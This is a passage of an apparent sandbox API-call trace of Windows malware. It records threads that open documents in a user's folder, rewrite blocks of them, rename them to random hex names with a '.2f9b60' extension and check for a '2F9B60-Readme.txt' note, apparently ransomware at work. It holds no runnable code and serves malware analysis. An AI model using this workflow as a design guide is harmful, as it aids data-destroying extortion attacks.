(HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1ce108f0 [0092.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce108f0) returned 1 [0092.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0092.736] NtQueryInformationFile (in: FileHandle=0xcfc, IoStatusBlock=0x216afcd8, FileInformation=0x216afce8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x216afcd8, FileInformation=0x216afce8) returned 0x0 [0092.736] NtSetInformationFile (FileHandle=0xcfc, IoStatusBlock=0x216afcd8, FileInformation=0x216afce8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0092.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784010) returned 1 [0092.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0092.738] FlushFileBuffers (hFile=0xcfc) returned 1 [0092.740] CloseHandle (hObject=0xcfc) returned 1 [0092.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85ee90 [0092.741] wcscpy (in: _Dest=0x1b85ee90, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0092.741] wcscat (in: _Dest=0x1b85ee90, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0092.741] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0092.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee90) returned 1 [0092.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef10) returned 1 Thread: id = 507 os_tid = 0xcc0 [0092.750] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IRKo1aD4WPdAnCO 5j.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\irko1ad4wpdanco 5j.csv")) returned 0x20 [0092.750] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IRKo1aD4WPdAnCO 5j.csv", dwFileAttributes=0x20) returned 1 [0092.750] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IRKo1aD4WPdAnCO 5j.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\irko1ad4wpdanco 5j.csv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xcfc [0092.751] GetFileSizeEx (in: hFile=0xcfc, lpFileSize=0x21d7fca0 | out: lpFileSize=0x21d7fca0*=98630) returned 1 [0092.751] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x18142, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.751] ReadFile (in: hFile=0xcfc, lpBuffer=0x21d7fc20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x21d7fc68, lpOverlapped=0x0 | out: lpBuffer=0x21d7fc20*, lpNumberOfBytesRead=0x21d7fc68*=0x4, lpOverlapped=0x0) returned 1 [0092.752] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b260 [0092.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b200 [0092.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b170 [0092.752] NtQuerySystemTime (in: CurrentTime=0x21d7fb60 | out: CurrentTime=0x21d7fb60*=132462176985838000) returned 0x0 [0092.752] RtlRandomEx (in: Seed=0x21d7fb50 | out: Seed=0x21d7fb50) returned 0x1c0044a2 [0092.752] RtlRandomEx (in: Seed=0x21d7fb50 | out: Seed=0x21d7fb50) returned 0x7d49ffd4 [0092.752] RtlRandomEx (in: Seed=0x21d7fb50 | out: Seed=0x21d7fb50) returned 0x4cc3b329 [0092.752] RtlRandomEx (in: Seed=0x21d7fb50 | out: Seed=0x21d7fb50) returned 0x4a841114 [0092.752] RtlRandomEx (in: Seed=0x21d7fb50 | out: Seed=0x21d7fb50) returned 0x493d5bdf [0092.752] RtlRandomEx (in: Seed=0x21d7fb50 | out: Seed=0x21d7fb50) returned 0x49216901 [0092.753] RtlRandomEx (in: Seed=0x21d7fb50 | out: Seed=0x21d7fb50) returned 0xfea81af [0092.753] RtlRandomEx (in: Seed=0x21d7fb50 | out: Seed=0x21d7fb50) returned 0x28396f07 [0092.753] RtlRandomEx (in: Seed=0x21d7fb50 | out: Seed=0x21d7fb50) returned 0x585a2ca6 [0092.753] RtlRandomEx (in: Seed=0x21d7fb50 | out: Seed=0x21d7fb50) returned 0x186fd9d7 [0092.753] RtlRandomEx (in: Seed=0x21d7fb50 | out: Seed=0x21d7fb50) returned 0x736bac06 [0092.753] RtlRandomEx (in: Seed=0x21d7fb50 | out: Seed=0x21d7fb50) returned 0x20c41f76 [0092.753] RtlRandomEx (in: Seed=0x21d7fb50 | out: Seed=0x21d7fb50) returned 0x5e3a6dc6 [0092.753] RtlRandomEx (in: Seed=0x21d7fb50 | out: Seed=0x21d7fb50) returned 0x626de747 [0092.753] RtlRandomEx (in: Seed=0x21d7fb50 | out: Seed=0x21d7fb50) returned 0x4c2e751b [0092.753] RtlRandomEx (in: Seed=0x21d7fb50 | out: Seed=0x21d7fb50) returned 0x3f827d3e [0092.753] RtlRandomEx (in: Seed=0x21d7fb50 | out: Seed=0x21d7fb50) returned 0x5ecbe63 [0092.753] RtlRandomEx (in: Seed=0x21d7fb50 | out: Seed=0x21d7fb50) returned 0x737d604 [0092.753] RtlRandomEx (in: Seed=0x21d7fb50 | out: Seed=0x21d7fb50) returned 0x27aec4a2 [0092.753] RtlRandomEx (in: Seed=0x21d7fb50 | out: Seed=0x21d7fb50) returned 0x11eb05c1 [0092.753] RtlRandomEx (in: Seed=0x21d7fb50 | out: Seed=0x21d7fb50) returned 0x3a2fb336 [0092.753] RtlRandomEx (in: Seed=0x21d7fb50 | out: Seed=0x21d7fb50) returned 0x672f71cd [0092.753] RtlRandomEx (in: Seed=0x21d7fb50 | out: Seed=0x21d7fb50) returned 0x6dcde13 [0092.753] RtlRandomEx (in: Seed=0x21d7fb50 | out: Seed=0x21d7fb50) returned 0x39334e52 [0092.753] RtlRandomEx (in: Seed=0x21d7fb50 | out: Seed=0x21d7fb50) returned 0x285c95fb [0092.753] RtlRandomEx (in: Seed=0x21d7fb50 | out: Seed=0x21d7fb50) returned 0x3eb14413 [0092.753] RtlRandomEx (in: Seed=0x21d7fb50 | out: Seed=0x21d7fb50) returned 0x1c0954c [0092.753] RtlRandomEx (in: Seed=0x21d7fb50 | out: Seed=0x21d7fb50) returned 0x2396596b [0092.753] RtlRandomEx (in: Seed=0x21d7fb50 | out: Seed=0x21d7fb50) returned 0x50c30282 [0092.753] RtlRandomEx (in: Seed=0x21d7fb50 | out: Seed=0x21d7fb50) returned 0x3f012a55 [0092.753] RtlRandomEx (in: Seed=0x21d7fb50 | out: Seed=0x21d7fb50) returned 0x5f119c4a [0092.753] RtlRandomEx (in: Seed=0x21d7fb50 | out: Seed=0x21d7fb50) returned 0x7d1dabba [0092.763] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.763] ReadFile (in: hFile=0xcfc, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x21d7fbc0, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x21d7fbc0*=0x3c00, lpOverlapped=0x0) returned 1 [0092.764] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0092.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef10 [0092.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b260 [0092.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b260) returned 1 [0092.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0092.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b260 [0092.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b170 [0092.765] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b170) returned 1 [0092.765] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef10) returned 1 [0092.765] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0092.765] WriteFile (in: hFile=0xcfc, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x21d7fbc0, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x21d7fbc0*=0x3c00, lpOverlapped=0x0) returned 1 [0092.767] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0092.767] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.767] ReadFile (in: hFile=0xcfc, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x21d7fbc0, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x21d7fbc0*=0x3c00, lpOverlapped=0x0) returned 1 [0092.767] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0092.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef10 [0092.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b170 [0092.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b170) returned 1 [0092.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0092.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b170 [0092.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b0e0 [0092.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b0e0) returned 1 [0092.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef10) returned 1 [0092.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0092.768] WriteFile (in: hFile=0xcfc, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x21d7fbc0, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x21d7fbc0*=0x3c00, lpOverlapped=0x0) returned 1 [0092.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0092.769] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x14546, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.769] ReadFile (in: hFile=0xcfc, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x21d7fbc0, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x21d7fbc0*=0x3c00, lpOverlapped=0x0) returned 1 [0092.770] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x14546, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0092.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef10 [0092.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b0e0 [0092.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b0e0) returned 1 [0092.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0092.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b0e0 [0092.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b0b0 [0092.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b0b0) returned 1 [0092.771] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef10) returned 1 [0092.771] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0092.771] WriteFile (in: hFile=0xcfc, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x21d7fbc0, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x21d7fbc0*=0x3c00, lpOverlapped=0x0) returned 1 [0092.772] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0092.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b86e410 [0092.772] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0092.772] WriteFile (in: hFile=0xcfc, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x21d7fc70, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x21d7fc70*=0x160, lpOverlapped=0x0) returned 1 [0092.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0092.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef10 [0092.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b170 [0092.774] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b170) returned 1 [0092.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9f3f0 [0092.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b170 [0092.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b0e0 [0092.774] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b0e0) returned 1 [0092.774] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef10) returned 1 [0092.774] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0092.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5d) returned 0x1b86e2c0 [0092.775] sprintf (in: _Dest=0x1b86e2c0, _Format="%c%c" | out: _Dest="90") returned 2 [0092.775] sprintf (in: _Dest=0x1b86e2c2, _Format="%c%c" | out: _Dest="66") returned 2 [0092.775] sprintf (in: _Dest=0x1b86e2c4, _Format="%c%c" | out: _Dest="36") returned 2 [0092.775] sprintf (in: _Dest=0x1b86e2c6, _Format="%c%c" | out: _Dest="1f") returned 2 [0092.775] sprintf (in: _Dest=0x1b86e2c8, _Format="%c%c" | out: _Dest="a4") returned 2 [0092.775] sprintf (in: _Dest=0x1b86e2ca, _Format="%c%c" | out: _Dest="ea") returned 2 [0092.775] sprintf (in: _Dest=0x1b86e2cc, _Format="%c%c" | out: _Dest="e7") returned 2 [0092.775] sprintf (in: _Dest=0x1b86e2ce, _Format="%c%c" | out: _Dest="c2") returned 2 [0092.775] sprintf (in: _Dest=0x1b86e2d0, _Format="%c%c" | out: _Dest="9f") returned 2 [0092.775] sprintf (in: _Dest=0x1b86e2d2, _Format="%c%c" | out: _Dest="0d") returned 2 [0092.775] sprintf (in: _Dest=0x1b86e2d4, _Format="%c%c" | out: _Dest="3c") returned 2 [0092.775] sprintf (in: _Dest=0x1b86e2d6, _Format="%c%c" | out: _Dest="e7") returned 2 [0092.775] sprintf (in: _Dest=0x1b86e2d8, _Format="%c%c" | out: _Dest="1a") returned 2 [0092.775] sprintf (in: _Dest=0x1b86e2da, _Format="%c%c" | out: _Dest="29") returned 2 [0092.775] sprintf (in: _Dest=0x1b86e2dc, _Format="%c%c" | out: _Dest="d2") returned 2 [0092.775] sprintf (in: _Dest=0x1b86e2de, _Format="%c%c" | out: _Dest="a0") returned 2 [0092.776] sprintf (in: _Dest=0x1b86e2e0, _Format="%c%c" | out: _Dest="ed") returned 2 [0092.776] sprintf (in: _Dest=0x1b86e2e2, _Format="%c%c" | out: _Dest="fd") returned 2 [0092.776] sprintf (in: _Dest=0x1b86e2e4, _Format="%c%c" | out: _Dest="3c") returned 2 [0092.776] sprintf (in: _Dest=0x1b86e2e6, _Format="%c%c" | out: _Dest="5f") returned 2 [0092.776] sprintf (in: _Dest=0x1b86e2e8, _Format="%c%c" | out: _Dest="6d") returned 2 [0092.776] sprintf (in: _Dest=0x1b86e2ea, _Format="%c%c" | out: _Dest="98") returned 2 [0092.776] sprintf (in: _Dest=0x1b86e2ec, _Format="%c%c" | out: _Dest="55") returned 2 [0092.776] sprintf (in: _Dest=0x1b86e2ee, _Format="%c%c" | out: _Dest="c5") returned 2 [0092.776] sprintf (in: _Dest=0x1b86e2f0, _Format="%c%c" | out: _Dest="68") returned 2 [0092.776] sprintf (in: _Dest=0x1b86e2f2, _Format="%c%c" | out: _Dest="ba") returned 2 [0092.776] sprintf (in: _Dest=0x1b86e2f4, _Format="%c%c" | out: _Dest="e6") returned 2 [0092.776] sprintf (in: _Dest=0x1b86e2f6, _Format="%c%c" | out: _Dest="d9") returned 2 [0092.776] sprintf (in: _Dest=0x1b86e2f8, _Format="%c%c" | out: _Dest="34") returned 2 [0092.776] sprintf (in: _Dest=0x1b86e2fa, _Format="%c%c" | out: _Dest="8e") returned 2 [0092.776] sprintf (in: _Dest=0x1b86e2fc, _Format="%c%c" | out: _Dest="9c") returned 2 [0092.776] sprintf (in: _Dest=0x1b86e2fe, _Format="%c%c" | out: _Dest="a4") returned 2 [0092.776] sprintf (in: _Dest=0x1b86e300, _Format="%c%c" | out: _Dest="d1") returned 2 [0092.777] sprintf (in: _Dest=0x1b86e302, _Format="%c%c" | out: _Dest="42") returned 2 [0092.777] sprintf (in: _Dest=0x1b86e304, _Format="%c%c" | out: _Dest="c2") returned 2 [0092.777] sprintf (in: _Dest=0x1b86e306, _Format="%c%c" | out: _Dest="d5") returned 2 [0092.777] sprintf (in: _Dest=0x1b86e308, _Format="%c%c" | out: _Dest="5a") returned 2 [0092.777] sprintf (in: _Dest=0x1b86e30a, _Format="%c%c" | out: _Dest="ca") returned 2 [0092.777] sprintf (in: _Dest=0x1b86e30c, _Format="%c%c" | out: _Dest="03") returned 2 [0092.777] sprintf (in: _Dest=0x1b86e30e, _Format="%c%c" | out: _Dest="14") returned 2 [0092.777] sprintf (in: _Dest=0x1b86e310, _Format="%c%c" | out: _Dest="46") returned 2 [0092.777] sprintf (in: _Dest=0x1b86e312, _Format="%c%c" | out: _Dest="8e") returned 2 [0092.777] sprintf (in: _Dest=0x1b86e314, _Format="%c%c" | out: _Dest="d2") returned 2 [0092.777] sprintf (in: _Dest=0x1b86e316, _Format="%c%c" | out: _Dest="5e") returned 2 [0092.777] sprintf (in: _Dest=0x1b86e318, _Format="%c%c" | out: _Dest="b6") returned 2 [0092.777] sprintf (in: _Dest=0x1b86e31a, _Format="%c%c" | out: _Dest="71") returned 2 [0092.777] RtlInitAnsiString (in: DestinationString=0x21d7fce8, SourceString="9066361fa4eae7c29f0d3ce71a29d2a0edfd3c5f6d9855c568bae6d9348e9ca4d142c2d55aca0314468ed25eb671" | out: DestinationString="9066361fa4eae7c29f0d3ce71a29d2a0edfd3c5f6d9855c568bae6d9348e9ca4d142c2d55aca0314468ed25eb671") [0092.777] RtlAnsiStringToUnicodeString (in: DestinationString=0x21d7fcb8, SourceString="9066361fa4eae7c29f0d3ce71a29d2a0edfd3c5f6d9855c568bae6d9348e9ca4d142c2d55aca0314468ed25eb671", AllocateDestinationString=1 | out: DestinationString="9066361fa4eae7c29f0d3ce71a29d2a0edfd3c5f6d9855c568bae6d9348e9ca4d142c2d55aca0314468ed25eb671") returned 0x0 [0092.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x1183a0 [0092.778] wcscat (in: _Dest=0x1b7ad2a0, _Source="9066361fa4eae7c29f0d3ce" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9066361fa4eae7c29f0d3ce") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9066361fa4eae7c29f0d3ce" [0092.778] wcscat (in: _Dest=0x1b7ad2a0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9066361fa4eae7c29f0d3ce.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9066361fa4eae7c29f0d3ce.2f9b60" [0092.778] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9066361fa4eae7c29f0d3ce.2f9b60", NtPathName=0x21d7fc90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9066361fa4eae7c29f0d3ce.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.778] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107a80 [0092.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107a80) returned 1 [0092.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0092.782] NtQueryInformationFile (in: FileHandle=0xcfc, IoStatusBlock=0x21d7fcf8, FileInformation=0x21d7fd08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x21d7fcf8, FileInformation=0x21d7fd08) returned 0x0 [0092.782] NtSetInformationFile (FileHandle=0xcfc, IoStatusBlock=0x21d7fcf8, FileInformation=0x21d7fd08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0092.783] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0092.784] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1183a0) returned 1 [0092.784] FlushFileBuffers (hFile=0xcfc) returned 1 [0092.785] CloseHandle (hObject=0xcfc) returned 1 [0092.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85ef10 [0092.786] wcscpy (in: _Dest=0x1b85ef10, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0092.786] wcscat (in: _Dest=0x1b85ef10, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0092.786] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0092.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef10) returned 1 [0092.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784d00) returned 1 Thread: id = 508 os_tid = 0xd38 [0092.789] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IsW9QCvDeTNZBjfuXE.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\isw9qcvdetnzbjfuxe.xlsx")) returned 0x20 [0092.789] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IsW9QCvDeTNZBjfuXE.xlsx", dwFileAttributes=0x20) returned 1 [0092.789] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IsW9QCvDeTNZBjfuXE.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\isw9qcvdetnzbjfuxe.xlsx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xcfc [0092.789] GetFileSizeEx (in: hFile=0xcfc, lpFileSize=0x2229f940 | out: lpFileSize=0x2229f940*=89728) returned 1 [0092.789] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x15e7c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.790] ReadFile (in: hFile=0xcfc, lpBuffer=0x2229f8c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2229f908, lpOverlapped=0x0 | out: lpBuffer=0x2229f8c0*, lpNumberOfBytesRead=0x2229f908*=0x4, lpOverlapped=0x0) returned 1 [0092.791] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b290 [0092.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b230 [0092.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b140 [0092.791] NtQuerySystemTime (in: CurrentTime=0x2229f800 | out: CurrentTime=0x2229f800*=132462176986306000) returned 0x0 [0092.791] RtlRandomEx (in: Seed=0x2229f7f0 | out: Seed=0x2229f7f0) returned 0x61268714 [0092.791] RtlRandomEx (in: Seed=0x2229f7f0 | out: Seed=0x2229f7f0) returned 0x1d973ef0 [0092.791] RtlRandomEx (in: Seed=0x2229f7f0 | out: Seed=0x2229f7f0) returned 0x47cb8810 [0092.791] RtlRandomEx (in: Seed=0x2229f7f0 | out: Seed=0x2229f7f0) returned 0x3c1a195 [0092.791] RtlRandomEx (in: Seed=0x2229f7f0 | out: Seed=0x2229f7f0) returned 0xc12fa07 [0092.791] RtlRandomEx (in: Seed=0x2229f7f0 | out: Seed=0x2229f7f0) returned 0x4de4a013 [0092.791] RtlRandomEx (in: Seed=0x2229f7f0 | out: Seed=0x2229f7f0) returned 0x8d3315f [0092.791] RtlRandomEx (in: Seed=0x2229f7f0 | out: Seed=0x2229f7f0) returned 0x26ad94df [0092.791] RtlRandomEx (in: Seed=0x2229f7f0 | out: Seed=0x2229f7f0) returned 0x5c0a7ffc [0092.791] RtlRandomEx (in: Seed=0x2229f7f0 | out: Seed=0x2229f7f0) returned 0x7315cee0 [0092.791] RtlRandomEx (in: Seed=0x2229f7f0 | out: Seed=0x2229f7f0) returned 0x39deb27c [0092.791] RtlRandomEx (in: Seed=0x2229f7f0 | out: Seed=0x2229f7f0) returned 0x73b06e99 [0092.791] RtlRandomEx (in: Seed=0x2229f7f0 | out: Seed=0x2229f7f0) returned 0x2a34368 [0092.791] RtlRandomEx (in: Seed=0x2229f7f0 | out: Seed=0x2229f7f0) returned 0x1e1db38a [0092.792] RtlRandomEx (in: Seed=0x2229f7f0 | out: Seed=0x2229f7f0) returned 0x24a39565 [0092.792] RtlRandomEx (in: Seed=0x2229f7f0 | out: Seed=0x2229f7f0) returned 0x62a8a7c [0092.792] RtlRandomEx (in: 